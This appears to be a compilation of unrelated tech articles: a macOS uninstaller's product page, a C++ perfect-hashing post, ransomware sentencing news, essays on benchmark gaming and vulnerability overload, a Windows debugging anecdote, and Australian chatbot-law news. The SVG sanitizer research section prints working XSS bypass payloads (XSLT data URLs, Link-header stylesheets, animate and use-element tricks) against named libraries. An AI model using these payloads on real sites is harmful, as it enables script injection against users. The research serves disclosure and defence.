A cleaner should never cost you something you wanted.

Nothing of yours is deleted without asking first. What Peel removes goes to the Trash, and History puts it back where it was.

Peel’s History: Godot with its app, caches, support folder, and the command Homebrew linked to it, moved to the Trash yesterday, each item ready to put back

The Trash, never deletion.

Only four things Peel starts can’t be put back that way: Homebrew’s own uninstall and cleanups, resetting an app’s privacy permissions, and Force Quit for an app that won’t quit. Peel says so before you confirm them, and warns before it moves an app whose own uninstaller then deletes more, as Mullvad VPN, Citrix Workspace, and TeamViewer do.
Protected places stay protected.

Peel refuses to move iCloud Drive and anything else that syncs to your other devices, keychains, your SSH and signing keys, the keys of crypto wallets, Mail, Messages, Safari, Contacts, Calendars, Notes, photo and music libraries, iPhone and iPad backups, and the Desktop, Documents, and Downloads folders themselves. No selection can override it.
Crypto wallets stay where they are.

A browser profile holding a wallet extension Peel knows, or Brave’s own wallet, stays where it is, so uninstalling a browser never takes the wallet with it. A folder with a wallet’s file inside is shown with its reason and never selected for you.
Checked again at the last moment.

Peel looks at each item once more right before it moves, so something swapped in the meantime stays where it is.
Your exclusions, everywhere.

Nothing you exclude is ever moved, and neither is a folder holding something you excluded. An excluded app still appears in Applications but gets no removal plan, and the folders named with its identifier, such as its caches, leave every page. To keep its other files, exclude them too.
Every decision explained.

When Peel holds a file back, the row says why. A folder it couldn’t measure or read is shown as unknown, never as empty.

Privacy

No analytics.
No account.

On its own, Peel goes online only to check your apps, and itself, for updates, and you can turn that off. Each check asks about one app alone , through its own update feed or the App Store, and doesn’t send its version, your macOS, or your languages; the App Store is told only a country, the country of the store an iPhone or iPad app came from, or else your Mac’s region. Taken together, the checks show the App Store which of its apps you have, and GitHub which of your apps update through it. When a feed offers its release notes in several languages, Peel asks for the one in your language, so the server that keeps them can tell which language you read.

Homebrew goes online only when you ask it to. Its vulnerability scan, which you start yourself, is the one thing that sends a list of what is installed: the source and version of each formula, to api.osv.dev.

Questions.

What is Peel?

Peel is a free, open source app for macOS that uninstalls apps together with the files they leave behind, and tells you why each file belongs to the app. It also frees disk space, looks after Homebrew and what runs in the background, changes settings macOS already has, many of them out of sight, and sets up Terminal.

How do I completely uninstall an app on a Mac?

Open Peel, choose the app under Applications, look over what Peel found, and click Move to Trash. The app and its leftovers go to the Trash together, and History can put them back. You can also Control-click the app in Finder and choose Uninstall with Peel, once the Finder extension is on in System Settings.

Can Peel delete something I need?

Peel moves files to the Trash instead of deleting them, and History can put them back while they’re still there (it keeps the latest 20,000 items, fewer when their paths are very long). What can’t be undone, such as Homebrew’s own uninstall, Peel names before you confirm it. It never selects a file another app uses, and refuses to move iCloud Drive, your keychains, Mail, Messages, and photo libraries.

Why does Peel show a smaller size than Finder?

Peel shows what moving an item to the Trash would free, and Finder shows the space it takes. The two differ when files share their space: a copy Finder makes on an APFS disk shares its blocks with the original until one of them changes, and a file can have a second name somewhere else, which keeps it. Peel counts only what would really go. A virtual machine’s disk, such as Docker’s, is often a sparse file too: Finder shows the size it can grow to, and Peel what it takes on the disk now.

When is the space Peel frees really free?

Once you empty the Trash. Peel moves what it removes to the Trash and never empties it, so History can put anything back while it’s still there, and until then the space stays taken. When you’ve looked over what moved, in History or in the Trash, and you need none of it, choose Finder > Empty Trash. After that, nothing can be put back. If you’d rather macOS empty it for you, choose Finder > Settings, click Advanced, and select Remove items from the Trash after 30 days.

Why does Peel ask for Full Disk Access?

macOS keeps other apps’ data, and the Trash, out of sight of any app without it. Peel works without it, but can’t see everything an app leaves behind.

Does Peel collect any data?

No. Peel has no analytics and no account. On its own, it goes online only to check your apps, and itself, for updates, which you can turn off. Homebrew goes online when you ask it to do something.

Is Peel really free?

Yes. Peel is free and open source under the GNU General Public License, version 3 or later, with no paid edition, no ads, and no account.

Can I install Peel with Homebrew?

Yes. Run brew install --cask tuguidragos/tap/peel in Terminal. It installs the same app as the download on this page, from the same release on GitHub, and puts the peel command on your path.

How do I update Peel?

Choose Check for Updates in the Peel menu, or Install Update in About Peel when it says a new version is out. While Check for app updates is on, Peel also looks once a day. It shows what is new and installs the update only when you choose, once it has checked that the update is signed as Peel’s. A copy Homebrew installed updates the same way, and brew upgrade --cask peel updates it too.

How do I know my copy of Peel is the real one?

Run spctl -a -vv /Applications/Peel.app in Terminal. A copy I released answers accepted , with source=Notarized Developer ID and origin=Developer ID Application: Dragos-Constantin Tugui (6R6J264YA2) . If it answers invalid API object reference , there is no app at that path: put the path of your copy instead. If it names anyone else, or isn’t accepted, it didn’t come from me: move it to the Trash and download Peel again from github.com/TuguiDragos/Peel . Before you open the file you downloaded, GitHub’s gh tool can check it against its release: once you’re signed in with gh auth login , gh release verify-asset v1.0.1 ~/Downloads/Peel-1.0.1.dmg -R TuguiDragos/Peel (with your version and where your file is) answers Verification succeeded! Peel-1.0.1.dmg is present in release v1.0.1 .

Does Peel work on Intel Macs and older versions of macOS?

Peel runs on macOS Tahoe 26 or later, on any Mac that runs it: every Mac with Apple silicon, and the few Intel Macs from 2019 and 2020 that Apple lists for macOS 26 . It doesn’t run on earlier versions of macOS: each version moves where apps keep their files, so every release is tested by hand before it ships, on macOS 26 and every version since.

How do I uninstall Peel itself?

In Settings > General, choose Remove Peel. Peel removes its helper and its login item, then moves itself, the files that are certainly its own, and its folder in Application Support, all but the Terminal settings zsh and ssh read, to the Trash, and clears its settings. While the helper is installed, this needs an administrator’s account. What you set in Tweaks and on the Terminal page stays as it is. If you installed it with Homebrew, Settings shows the Homebrew command to run instead.

Peel is published in one place only: github.com/TuguiDragos/Peel . Every download on this page leads there. The Homebrew command on this page is the only command that installs Peel, so a site that asks you to paste anything else into Terminal to get Peel is not mine.

Billion-query-per-second lookup tables in C++

Original Article

A lot of software spends its time mapping strings to values. A web server must identify the HTTP method ( GET , POST , …). It must recognize header names. A URL parser must recognize the protocol ( http , https , ftp , …). A compiler must recognize keywords.

In C++, the default approach is to put the strings in a std::unordered_map .

std::unordered_map<std::string_view, Method> methods = {
    {"GET", Method::GET}, {"POST", Method::POST}, {"PUT", Method::PUT},
    {"DELETE", Method::DELETE}, {"PATCH", Method::PATCH}};

It works. But notice something: the keys are known when you write the code. They never change. And yet we pay at runtime as if they could change at any time: we hash the whole string, we pick a bucket, we follow a pointer, we compare, maybe we walk a list.

Perfect hashing

A hash function maps keys to slots. When two keys land in the same slot, we have a collision, and we must deal with it. Collisions are what make hash tables complicated and slow.

If you know all of your keys ahead of time, you can construct a hash function designed for your keys, a function that never produces a collision. It is called a perfect hash function. The idea is old: the GNU gperf tool has been doing it since 1989. You give it a list of keywords, and it generates C code.

We follow the same design as gperf . The slot for a key is computed as follows.

slot = (length + asso[key[i]] + asso[key[j]] + ...) % table_size

We add the length of the key to a few small values taken from an association table ( asso ) indexed by the characters at a few selected positions. Usually, one or two positions are enough. The table size is a power of two, so the modulo is a single bitwise AND.

Consider the four HTTP methods GET , PUT , POST and DELETE . We use only the first character. Set asso['G'] = 0 , asso['P'] = 1 and asso['D'] = 0 . Then GET goes in slot 3 + 0 = 3, PUT goes in slot 3 + 1 = 4, POST goes in slot 4 + 1 = 5 and DELETE goes in slot 6 + 0 = 6. No collision.

To look up PUT , we compute the slot (4), and we compare PUT with the one key stored in slot 4. One hash, one comparison. If you look up PATCH , which is not in the set, you land in slot 5 + 1 = 6, you compare with DELETE , and you are done: not found. There is no probing, no chain to walk.

How do we find the association values? We sort the characters by how many keys they touch. We then take them one at a time and try 0, 1, 2, … until we find a value that does not cause a collision. We never revise a value once it is set. It is a greedy algorithm with bounded work. The bound matters because we do all of this at compile time, and C++ compilers limit how much work a constexpr function may do.

Doing it in C++

With our library , you write ordinary C++23. There is no external tool to run.

#include <ConstexprCore/perfect_hash.h>
using namespace ConstexprCore;
enum class Method { GET, POST, PUT, DELETE, PATCH };
constexpr auto methods = make_perfect_map<
    kv<"GET",    Method::GET>,
    kv<"POST",   Method::POST>,
    kv<"PUT",    Method::PUT>,
    kv<"DELETE", Method::DELETE>,
    kv<"PATCH",  Method::PATCH>
>();

The map is a compile-time constant. The compiler searches for the perfect hash function when it compiles your code. At runtime, computing the hash can take as few as four instructions: load one byte of the key, load one byte from the association table, add the length, apply a mask.

Comparing strings quickly

Computing the hash is cheap. But we still need to check that the string we are looking up matches the key stored in the slot. And comparing strings can be expensive: the textbook approach is a loop over the bytes with a branch for each byte. You can easily end up with dozens of instructions and several branches, and the branches are hard to predict when the strings vary.

Instead, we treat the key as a vector. Our processors, whether ARM or x64, have 16-byte registers. So we load 16 bytes unconditionally, even if the key is only three bytes long. We then use a shuffle instruction ( tbl on ARM NEON) to zero the bytes past the end of the key. The stored keys are zero-padded at compile time. A single vector comparison handles the whole key. We go from about forty instructions and eight branches to five instructions and no branch.

But wait: is it safe to read 16 bytes when you only have three? Reading past the end of a buffer is fine as long as you do not cross into another memory page, and pages are at least 4 kilobytes. So we check whether the address is within 16 bytes of the end of its page. If it is, we take a slower path. Otherwise, we do the wide load. We traded several unpredictable branches for a single branch that is almost always taken the same way.

How fast is it?

I ran the benchmarks on an Apple M3 Max with AppleClang 15. We look up the keys in random order and we report the time per lookup. Let us first consider the 20 standard HTTP header names.

HTTP header names, nanoseconds per lookup

We need about 1.3 ns per lookup, or about 5 cycles. The classic gperf needs 7.7 ns. Abseil’s flat_hash_map , an excellent hash table, needs 10.9 ns. And std::unordered_map needs 16.6 ns. We are thirteen times faster than the standard library.

It is not one lucky key set. Here are the results over several sets of keys, from 6 URL protocols to the 100 tickers of the S&P 100.

Seven key sets, nanoseconds per lookup

We stay between 1.2 ns and 2 ns per lookup. We are 3 to 6 times faster than gperf , and 7 to 13 times faster than std::unordered_map . Notice how gperf struggles with the JavaScript reserved words: there we are 17 times faster.

Why is std::unordered_map so much slower? The C++ standard essentially requires a chained hash table. A lookup hashes the whole string by calling a function, follows a pointer to a heap-allocated node and walks a list. Our lookup does a few loads and has no function call. The processor can retire over 8.6 instructions per cycle with our code, which is about as good as it gets on this chip, and it almost never mispredicts a branch.

Cost of one lookup

On an Apple M4, with the URL protocols, we exceed one billion lookups per second.

Conclusion

If your keys are known at compile time, you should not pay for collision handling at runtime. A perfect hash function gets you down to one comparison. With some care, a lookup costs about five cycles. The library is a single header you can drop in your project: github.com/ConstexprCore/perfect_hash .

Hacker in prison

A Ukrainian national was sentenced to 70 months in prison for his role in Nefilim and Hive ransomware attacks targeting hospitals, government entities, and high-revenue businesses worldwide between 2018 and 2021.

The sentence follows the extradition of 35-year-old Artem Aleksandrovych Stryzhak to the United States on April 30, 2025, after authorities arrested him in Spain in June 2024.

"Artem Stryzhak is a prolific cybercriminal who worked with multiple ransomware groups to target U.S. businesses and hospitals," said Brett Leatherman, the FBI's Cyber Branch Operations Director. "These groups disrupted patient care and caused more than $100 million in losses. Today's sentence reflects the seriousness of Stryzhak's crimes and demonstrates the FBI's global reach and extensive network of international partners."

According to court documents, he paid for 20% of all ransom payments collected for access to custom Nefilim ransomware and decryption keys starting in June 2021.

While active as a Nefilim affiliate until October 2021, Stryzhak used the custom-tailored malware to target large corporations in the United States, Canada, and Australia with revenues exceeding $100 million each year. However, one of the Nefilim administrators later encouraged him to focus on large companies that were generating more than $200 million annually.

To pressure victims into paying, the ransomware operation also threatened to leak data stolen during attacks on dark web "Corporate Leaks" websites managed by the Nefilim admins unless victims met the ransom demands.

*Nefilim ransom note (BleepingComputer)*

Stryzhak also joined Hive ransomware as an early affiliate, breaching and encrypting the systems of seven victims, including a dentist's office, multiple law firms, and a healthcare provider during the COVID-19 pandemic.

In December 2025, Stryzhak pleaded guilty and admitted to computer fraud conspiracy charges brought by US prosecutors in connection with ransomware attacks targeting businesses in the United States, Norway, France, Switzerland, Germany, and the Netherlands.

"Disrupting a ransomware group that attacked approximately 1,500 victims worldwide and sentencing a defendant who had targeted healthcare during the COVID-19 pandemic is of significant importance to this office," added US Attorney Gregory W. Kehoe.

"Ransomware attacks like those committed by the defendant wreak enormous havoc — harming victim companies that pay millions in remediation and ransoms, preventing hospitals and other critical facilities from accessing data, and putting sensitive information in the hands of bad actors," US Attorney Joseph Nocella Jr. noted.

The US State Department also offers up to $11 million for any details that could lead to the arrest of Ukrainian national Volodymyr Tymoshchuk, one of Stryzhak's alleged accomplices, who is still at large.

Tymoshchuk is on the most-wanted lists of the European Union and the FBI , and the US Justice Department charged him in September for his roles as an administrator for the LockerGoga, MegaCortex, and Nefilim ransomware gangs. He was also allegedly involved in ransomware attacks that caused millions of dollars in damages to hundreds of companies around the world between July 2020 and October 2021.

Once attackers have valid credentials, only 37% of their actions are blocked

Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply.

The Benchmarking Crisis

Original Article

Goodhart’s law , that any measurable target stops being useful when people start optimizing for it, very much holds in database benchmarking. That is not new, of course. Famously, TPC-D got retired when people optimized so much for it that the query runtimes converged towards zero due to excessive caching. TPC-H fixed that by declaring itself to be an ad-hoc benchmark, and explicitly forbidding things like exploiting knowledge about the workload or caching results (and a number of other optimizations).

We now see the same problem with the ClickBench benchmark, heavily accelerated by today’s use of AI code generation. If you tell an AI to make the queries faster, it will make the queries faster, regardless of whether this is a generally plausible approach or not. For example, the pgrust implementation performs group-by aggregations on string columns purely on the hash value, ignoring the long string content. That is a great performance boost, of course, and works for this benchmark, but can produce wrong results. Is it faster? Yes. Is it a plausible optimization? Probably not. And it does many other things: For example, ClickBench repeats certain predicates across queries, and thus pgrust caches the predicate, completely eliminating the query cost the second time. Or for query Q17, which returns tuples grouped by userid, it makes use of the fact that a) tuples are roughly clustered by userid, and b) the query specifies a limit clause without order by. Thus any userid will do, and it never reads most of the data. A human would not do these tiny micro-optimizations, because they are unlikely to be relevant in general use cases, but an AI can of course look at each query in detail and tune for it.

Part of the problem is, of course, ClickBench itself. The benchmark is not well specified in what is permitted and what is not, there is no update stream, the queries are very simple, share predicates, are underspecified, etc. But the fundamental problem is independent of that concrete benchmark: The moment we start aggressively optimizing for a specific benchmark, the benchmark stops being very useful. Historically, that pressure was reduced a bit by the requirement that systems be generally useful. That is, they did not just want to perform well in benchmarks but also to be useful for their customers. That is, of course, not a concern for vibe-coded execution engines.

It is not clear what to do about it. Our SQLStorm proposal tried to address this by having tens of thousands of queries, which makes overfitting harder. No human would fine-tune their system to such a huge workload. But with AI tools we could even investigate ten thousand queries in detail if needed, so that is not a real defense.

I think that to be meaningful, a benchmark has to a) like TPC-H, be ad-hoc, and forbid exploiting prior knowledge and any form of intermediate result caching. If we don’t do that, execution times converge towards zero. And b) the benchmark has to include some form of update stream, as otherwise overly aggressive read-only or read-mostly systems will always outperform systems that offer full transactional support. And c) the benchmark has to be truly ad-hoc, in the sense that the systems tested have to be older than the benchmark. One way to fight Goodhart’s law would be to (automatically) come up with a new benchmark from time to time, and then measure the systems that existed before the benchmark. The caching/pre-computation problem still remains, of course, but at least that would prevent the over-aggressive adjustment to just one specific benchmark.

Interestingly, the machine learning community has struggled with exactly the same problem for years, and we should probably borrow some of their ideas. Kaggle competitions, for example, rank submissions on a hidden test set that participants never see, which makes overfitting on the public data pointless. Similarly, benchmarks like LiveBench regularly release new questions to make sure that models cannot have seen them during training. For database benchmarking that could mean keeping the actual benchmark queries secret and only publishing a representative sample for development, or, even better, generating a fresh workload for every evaluation round. SQLStorm already uses generated queries, so producing a new query set from time to time would be fairly easy. We would probably want a more generic approach (higher variety in schemas, update streams, transactions, etc.), but that seems to be a direction that would help keep benchmarks meaningful.

Original Article

It is Friday after all, so I’ll offer this little glimpse as an example from what I do at work…

A while ago, I was working for a customer (who shall remain unnamed here, but let’s call it Intel ) doing system simulation software. I worked on this project for a year or so. I ran full x86 systems completely simulated. During that time I was chasing some nasty bugs in the simulated usb-disk device that caused my Windows boot to end up in a blue screen.

I struggled to figure out why Windows 7 would write 0xABADBABE to EHCI register index 0x1C – which is a reserved register – during boot some 10 milliseconds before the blue screen appears, and I was convinced that it was due to a flaw in the EHCI simulation code and thus was the first indication of the failure. If I didn’t have any simulated usb-disk inserted that write wouldn’t occur, and similarly that write would occur even if I inserted the usb-disk much later – like even after Windows 7 had started and I was passed the login screen.

An interesting exercise is to grep for this (little-endian so twist it around!) 32 bit pattern in a freshly installed windows 7 file system – I found it on no less than 16 places in a 20GB file system. This bgrep utility was handy for this.

To properly disassemble that code, I hacked up a quick bcut tool so that I could cut out a suitable piece of the 20GB file to pass to objdump, as objdump very inconveniently does not offer an option to skip an arbitrary amount from the beginning of a file! Also, as it is not really possible to easily tell on which byte x86 code starts at, I had to be able to fine-adjust the beginning of the cut so that objdump would show correctly (this is x86-64):

      callq  *0x9061(%rip)        # 0x9080
      mov    0x40(%rsi),%r11d
      mov    %rsi,0x58(%rdi)
      mov    %r11d,(%rdi)
      mov    0x40(%rsi),%eax
      mov    %rsi,0x60(%rdi)
      mov    %eax,0x4(%rdi)
      mov    0xa0(%r13),%rax
      movl   $0xabadbabe,0x1c(%rax)

But then, reading that code never gave me enough clues to figure out why the offending MOV is made.

Thanks to a friend with a good eye and useful resources, I finally learned that Windows does this write on purpose to offer some kind of break-point for a debugger. It always does this (assuming a USB device or something is attached)!

A red herring as far as I’m concerned. Nothing to bother about, just MOV on! I simply made the simulation accept this.

Oh. You want to know what happened to the blue screen? It had nothing at all to do with the bad babe constant, but turned out to be because the ehci driver finds out that some USB data structs the controller fills in get pointers that point to memory outside of the area the driver has mapped for this purpose. In other words it was a really hard to track down bug in the simulated device.

An illustration showing an SVG document and curves breaking

I tested eight popular SVG sanitizers and bypassed six of them. In this post, I'll show you how a response header can run JavaScript in Firefox even when the response body is completely harmless XML. I'll also show you how to get Safari to import a GIF as SVG and execute JavaScript from it.

Hacking SVG sanitizers

The targets

SVG is an image format that can contain scripts, event handlers, links, animations and even embedded HTML, so applications that accept SVG uploads usually run them through a sanitizer first. To see how well those sanitizers hold up, I tested the most popular SVG libraries according to ChatGPT:

Warming up: namespace confusion

Library affected: mattkrick/sanitize-svg

This library has so many bypasses that I'll only cover the interesting ones.

My first finding was that you don't need <foreignObject> to get HTML into an SVG. Switch the XML namespace on a single element to XHTML and the browser renders it as HTML directly inside the SVG. A <frame> with a JavaScript URL is all it takes:

<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100"><frame xmlns="http://www.w3.org/1999/xhtml" src="javascript:alert(document.domain)"/></svg>

The same namespace trick works with iframes, which gives you srcdoc to play with:

<svg xmlns="http://www.w3.org/2000/svg" width="200" height="50"><iframe xmlns="http://www.w3.org/1999/xhtml" width="200" height="50" srcdoc="<script>alert(document.domain)</script>"/></svg>

The library could also be bypassed with a plain old <foreignObject> . It renders the SVG, which converts the element name to its camel-case form, foreignObject. It then hunts for the element with querySelectorAll('foreignobject') , which finds nothing, so the payload goes straight through:

<svg xmlns="http://www.w3.org/2000/svg"><foreignobject><img src=x onerror=alert(1)></foreignobject></svg>

Even a nested SVG with an onload handler got through:

<svg xmlns="http://www.w3.org/2000/svg"><svg onload="alert(1)"/></svg>

Animating your way to a JavaScript URL

Library affected: Borewit/svg-sanitizer

This one didn't take much effort. The library let <animate> tags through untouched, so you could animate a link's href into a JavaScript URL:

<svg xmlns="http://www.w3.org/2000/svg"><a><animate attributeName="href" values="JavaScript:alert(1)"/><text x="20" y="20">XSS</text></a></svg>

I bypassed the same library a second way using Kevin Mizu's trick , which uses <animateTransform> to set a JavaScript URL in Safari:

<svg xmlns="http://www.w3.org/2000/svg" width="800" height="120" viewBox="0 0 1000 120"><a id="target" href="#safe"><text x="20" y="55" font-size="26">Wait one second, then click</text><animateTransform attributeName="href" type="invalid" values="XXX;javascript:alert(1)//" begin="0s" dur="0.1s" fill="freeze"></animateTransform></a></svg>

XSS from a self-contained XSLT stylesheet

Libraries affected: bgalek/safe-svg, mattkrick/sanitize-svg, alnorris/SVG-Sanitizer

Now things get more interesting. This is a pretty epic technique: you can get JavaScript execution from an XSLT stylesheet without needing a separate file. I was desperate to blog this one, because unfortunately the feature is deprecated and due for removal November 2026.

The trick is to point an xml-stylesheet processing instruction at a data URL. Base64 is the most elegant way to encode the stylesheet, but URL encoding works too:

<?xml-stylesheet type="text/xsl" href="data:text/xsl;base64,..."?>

Here's the stylesheet that gets base64 encoded:

<x:stylesheet xmlns:x="http://www.w3.org/1999/XSL/Transform" version="1.0"><x:output method="html"/><x:template match="/"><html><body><x:element name="{concat('scr','ipt')}">alert(document.domain)</x:element></body></html></x:template></x:stylesheet>

It matches the root of the document and outputs an HTML page containing a script that alerts document.domain, proving the code runs in the document's origin rather than a null origin. Put it all together and you get this:

<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="data:text/xsl;base64,PHg6c3R5bGVzaGVldCB4bWxuczp4PSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L1hTTC9UcmFuc2Zvcm0iIHZlcnNpb249IjEuMCI+PHg6b3V0cHV0IG1ldGhvZD0iaHRtbCIvPjx4OnRlbXBsYXRlIG1hdGNoPSIvIj48aHRtbD48Ym9keT48eDplbGVtZW50IG5hbWU9Intjb25jYXQoJ3NjcicsJ2lwdCcpfSI+YWxlcnQoZG9jdW1lbnQuZG9tYWluKTwveDplbGVtZW50PjwvYm9keT48L2h0bWw+PC94OnRlbXBsYXRlPjwveDpzdHlsZXNoZWV0Pg=="?><svg xmlns="http://www.w3.org/2000/svg" width="200" height="50"><text x="10" y="30">XSS</text></svg>

Turning a response header into XSS

In the back of my mind was a trick Paulos Yibelo once told me about: Firefox lets you load external CSS files using a Link response header. I figured out that data URLs work there too, which got me thinking: if it works for CSS, could it work for XSLT too? You're damn right it can.

First, I needed a version of the stylesheet that fits in a URL. This one has two layers. The outer stylesheet is URL encoded into a data URL. Inside it, XSLT's document() function loads a second data URL, URL encoded again, containing an XHTML <img> with an onerror handler. The stylesheet copies that into a <foreignObject> , where it fires.

As a processing instruction, it looks like this:

<?xml version="1.0" encoding="UTF-8"?> <?xml-stylesheet type="text/xsl" href="data:application/xml,..."?>

Here's the payload before encoding. I've left the Hackvertor tags in so you can see where each layer of URL encoding is applied:

<@encode(url)><xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"><xsl:template match="/"><svg xmlns="http://www.w3.org/2000/svg" width="400" height="200"><foreignObject width="400" height="200"><xsl:copy-of select="document('data:application/xml,<@encode(url)><div xmlns="http://www.w3.org/1999/xhtml"><img src="1" onerror="alert(document.domain)" /></div></@encode>')/*"/></foreignObject></svg></xsl:template></xsl:stylesheet></@encode>

You can load and edit the full payload in Hackvertor .

With the stylesheet ready, all that's left is to move it out of the document and into a Link header:

<?php header("Content-Type: text/xml"); header('Link: <data:application/xml,%3Cxsl%3Astylesheet%20version%3D%221.0%22%20xmlns%3Axsl%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2FXSL%2FTransform%22%3E%3Cxsl%3Atemplate%20match%3D%22%2F%22%3E%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20width%3D%22400%22%20height%3D%22200%22%3E%3CforeignObject%20width%3D%22400%22%20height%3D%22200%22%3E%3Cxsl%3Acopy-of%20select%3D%22document(\'data%3Aapplication%2Fxml%2C%253Cdiv%2520xmlns%253D%2522http%253A%252F%252Fwww.w3.org%252F1999%252Fxhtml%2522%253E%253Cimg%2520src%253D%25221%2522%2520onerror%253D%2522alert(document.domain)%2522%2520%252F%253E%253C%252Fdiv%253E\')%2F*%22%2F%3E%3C%2FforeignObject%3E%3C%2Fsvg%3E%3C%2Fxsl%3Atemplate%3E%3C%2Fxsl%3Astylesheet%3E>; rel="stylesheet"; type="text/xsl"'); ?> <x> <b>foo</b> </x>

The response body is a completely harmless bit of XML, yet this executes in Firefox!

Importing images as SVG in Safari

Libraries affected: cloudflare/svg-hush, jams2/py-svg-hush, bgalek/safe-svg

To end this piece of research, here's another epic behaviour, this time in Safari. Firefox and Safari both let you use the <use> element to reference same-origin files, but Safari goes a step further: it lets you import image files as SVG!

index.svg:

<?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" width="200" height="50"> <use href="test.png#x" /> </svg>

test.png:

<?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="50"> <g id="x"> <image href="1" onerror="alert(1)" /> </g> </svg>

Alas, you can't make a true SVG/image polyglot because SVG is a little too strict. However, if you can upload a GIF that contains the payload, it won't render when you open it in the browser, but it can still be imported with a <use> element!

That's all it takes to bypass all three libraries:

<svg xmlns="http://www.w3.org/2000/svg"><use href="/svg/test.gif#x" /></svg>

Wrapping up

I hope you enjoyed this post. I also exploited two popular applications that I can't name yet, but I'll update the post once I can. Both DOMPurify and darylldoyle/svg-sanitizer held up against everything in this post, which is quite impressive.

‘Emotional intimacy’ from AI chatbots would be banned under Australia’s digital duty of care laws

Guardian

Original Article

The federal government wants to ban AI chatbots which seek to create “emotional intimacy” after prime minister Anthony Albanese raised the alarm in a heartfelt speech about children treating these agents as their “best friend”.

But Labor is coming under increasing pressure to empower the telecommunications ombudsman to become a watchdog for social media and AI to give Australians an external complaints mechanism and allow the “naming and shaming” of big tech.

The digital duty of care bill passed the House of Representatives on Wednesday and will be debated by the Senate in coming weeks. The government hopes to pass the bill by the end of 2026, but its pathway through the upper house remains unclear. The Greens support the bill, while the Coalition has said it will not vote for it , though Labor still appears keen to win the opposition’s support and remains open to amendments .

The planned framework would apply new online safety standards to social media, games, apps and chatbots. Labor said it would place “an overarching obligation” on tech platforms “to provide a safe online environment for all Australians” and replace a range of existing online codes and standards with a broader duty-of-care requirement to protect users from certain “harmful” content. It would also require social media platforms to offer an “opt-out” feature for its algorithm and suggested content.

The communications minister, Anika Wells, has suggested content that that promotes misogyny, terrorism, suicide, self-harm and eating disorders would be captured by the laws . On Wednesday, the government accepted amendments from crossbencher Kate Chaney which would add certain AI chatbot activity to the list of harms, requiring platforms to ban “material or conduct that simulates emotional intimacy and encourages or fosters a child’s dependence on it in place of human relationships”.

In an emotional address on Tuesday night, where he again implored the Coalition to consider voting for the bill, Albanese said: “the stories we hear about people identifying a chatbot, a non person as their best friend, should be a huge wake up call for every member of this Parliament to be prepared to act.”

The opposition voted against the bill in the House, alongside One Nation. Political opponents have accused Labor of an “Orwellian” system of “censorship” and of seeking to influence conversations online – claims Wells strongly denied.

“If they really care, the test is simple here, they should bring an amendment, not a slogan to ‘kill the bill’,” Wells told ABC radio on Wednesday.

Another Chaney amendment accepted by Labor would require the algorithm opt-out features to be “accessible, easy to use” and “prominently available” on platforms,amid concerns that social media giants may offer only small or hard-to-find features.

The bill now moves to the Senate, where the Greens have set up an inquiry to probe the laws due to report back in late November. Senator Sarah Hanson-Young backed a digital duty of care, calling for the government’s legislation to be strengthened The Greens want Australians to have the right to pursue private legal action against platforms and for penalties to be increased.

“Australians also need an external complaints pathway, free from the profit-driven whims of ‘big tech’s’ content moderation,” she said.

Independent MP Sophie Scamps had proposed changes to the bill to expand the remit of the telecommunications industry ombudsman. She said such a watchdog – which does not currently exist for big tech – would allow ordinary social media users to seek remedies to their accounts being hacked or inaccessible, including compensation, and investigate broader issues to name and shame companies behaving badly.

Labor did not accept this amendment in the lower house and Wells declined to voice support for such an idea, but the Greens will push for such a reform in their Senate negotiations.

Cynthia Gebert, the telecommunications industry ombudsman, said her office would be well placed to carry out such a role for big tech. She said such roles were funded by the industries they regulate and that expanding its remit could be financed by big tech.

“There are some real strengths in the DDOC [digital duty of care] because it’s putting the onus on platforms to make things safe … but I think the area that needs to be strengthened is giving people somewhere to go if they can’t get their complaints resolved with the platform,” Gebert told Guardian Australia.

“It risks leaving Australians in the safe place they are now, where they get automated responses or escalation procedures that don’t go anywhere.”

Gebert said the government should make it mandatory for big tech to be part of an ombudsman scheme, saying it would “hold industry to account and drive system improvement”.

“[The telecommunications industry ombudsman] can help with your Telstra account, but we can’t help with your Gmail account. Consumers come to us sometimes and ask, ‘why this, not that?’,” she said.

“We want to help but don’t have the powers to do so now.”

This is not sustainable

Original Article

October 27th, 2026

What a week , huh? High fives all around—October is "Cybersecurity Awareness Month", and I think we've all done a stellar job. If both the New York Times and NPR report on one of the at least four or five concurrent fires I'm fighting, then I think we can say that yeah, people are aware of cybersecurity. Mission accomplished, so... could we maybe turn it down a bit?

The current situation is not sustainable: 0-days are dropping left and right, pre-notifications and embargoes are broken for marketing purposes , AI companies compete first on who commits the most crimes and then pretend to sell you protection in the form of a DoS on the Open Source community. " Nice project you got there. Be a shame if somebody dropped an 0-day on it." ¹

Companies are not staffed for this, and no matter what the industry wants to tell you, you can't AI your way out of this. Vulnerability discovery has fundamentally changed, disclosure processes are effectively broken , and patch management has been a losing proposition for years now. Severe vulnerabilities are identified and disclosed at a pace that defenders are unable to keep up with.

This is because it still takes significant resources to accurately assess the feasibility of a given vulnerability within your environment; it takes time to discover your attack surface relevant to the given attack vector, and it takes even more time to deploy a fix. As I've said before , development of the fix is not the bottleneck. Let me illustrate with examples from the last couple of days:

" PwnEscape " (CVE-2026-99999)

Initially disclosed as a "KVM escape", this vulnerability also applies to other virtualization as well as containers, although that angle hasn't really gotten much attention. You now need to assess which possible mitigations might be in place across your fleet of systems, then determine whether you can livepatch your kernels with the custom patches you pull from upstream or if you want to wait for your upstream OS provider to deliver a new kernel ² and then all you have to do is reboot a few thousand systems.

How does AI help you here? Maybe you spend a few thousand dollars on tokens to use the most advanced cyber cyber models to develop your own exploit, but in the end, that doesn't really tell you anything you didn't already know, and your defensive position and tasks at hand remain the same.

eMudhra compromise

This one's fun, isn't it? Sure, browsers were all set quickly, but guess what, there's a few other things that might use TLS in your environment. Like... everything . So again, having the fix is not the bottleneck. Waiting for upstream packages to release an update only blocks you if you actually know that you need to pull in that update.

